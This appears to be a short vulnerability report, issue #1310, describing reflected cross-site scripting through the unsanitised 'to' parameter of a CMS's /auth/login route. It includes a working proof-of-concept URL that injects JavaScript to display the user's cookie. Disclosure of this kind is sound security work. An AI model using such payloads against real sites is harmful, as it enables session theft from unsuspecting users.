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Reflected XSS in login panel #1310

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@Cz4ryM4ry

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@Cz4ryM4ry

Insufficient sanitization of to parameter in /auth/login route allows for injection of arbitrary JavaScript code into webpage content creating a reflected XSS attack vector.

See below POC :

https://cms.hosted.com/auth/login?to=/92874%27;alert(%27reflected%20xss!\ncookie:%20%27%2bdocument.cookie)//280

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